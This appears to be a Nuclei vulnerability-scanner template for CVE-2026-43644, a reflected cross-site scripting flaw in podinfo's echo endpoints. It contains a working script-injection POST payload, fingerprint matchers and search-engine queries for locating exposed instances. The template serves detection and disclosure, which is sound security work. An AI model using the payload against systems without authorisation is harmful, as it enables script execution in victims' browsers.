podinfo through 6.11.2 contains a reflected XSS in the /echo and /api/echo endpoints. The echo handler writes the request body back with status 202 and sets no Content-Type or X-Content-Type-Options header, so Go's content sniffing serves a body that starts with HTML or script markup as text/html.
id: CVE-2026-43644
info:
name: podinfo <= 6.11.2 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
podinfo through 6.11.2 contains a reflected XSS in the /echo and /api/echo endpoints. The echo handler writes the request body back with status 202 and sets no Content-Type or X-Content-Type-Options header, so Go's content sniffing serves a body that starts with HTML or script markup as text/html.
impact: |
Unauthenticated attackers can make a victim's browser submit a cross-site text/plain form POST to the echo endpoint and run arbitrary JavaScript in the podinfo origin.
remediation: |
Upgrade to version 6.12.0 or later, which serves the echoed body as application/octet-stream with X-Content-Type-Options nosniff and a default-src 'none' Content-Security-Policy.
reference:
- https://github.com/advisories/GHSA-q23m-vm9r-5745
- https://github.com/Niccolo10/Security-Advisories/blob/main/CVE-2026-43644/cve-2026-43644.md
- https://github.com/stefanprodan/podinfo/commit/cbebb20fd48588d36fc7ff3e874c128eb89692f4
- https://github.com/stefanprodan/podinfo/releases/tag/6.12.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-43644
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-43644
epss-score: 0.006
epss-percentile: 0.42847
cwe-id: CWE-79
cpe: cpe:2.3:a:stefanprodan:podinfo:*:*:*:*:*:kubernetes:*:*
metadata:
verified: true
max-request: 2
vendor: stefanprodan
product: podinfo
shodan-query: http.html:"stefanprodan/podinfo"
fofa-query: body="stefanprodan/podinfo"
tags: cve,cve2026,podinfo,xss,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/info HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"hostname\"", "\"goos\"", "\"num_goroutine\"")'
condition: and
internal: true
- raw:
- |
POST /api/echo HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
<script>alert(document.domain)</script>{{randstr}}
matchers:
- type: dsl
dsl:
- 'status_code == 202'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>{{randstr}}")'
- 'contains(to_lower(header), "x-color:")'
- '!contains(to_lower(header), "nosniff")'
condition: and
# digest: 4b0a00483046022100fac8574c840f9917f9b813a7971243441f00f59c8821ed4a59554c8c50ed92b9022100c1bb126ec0b4cb0ded5e5e872785fcca6013afc5745015d6b18b433aa88973c6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.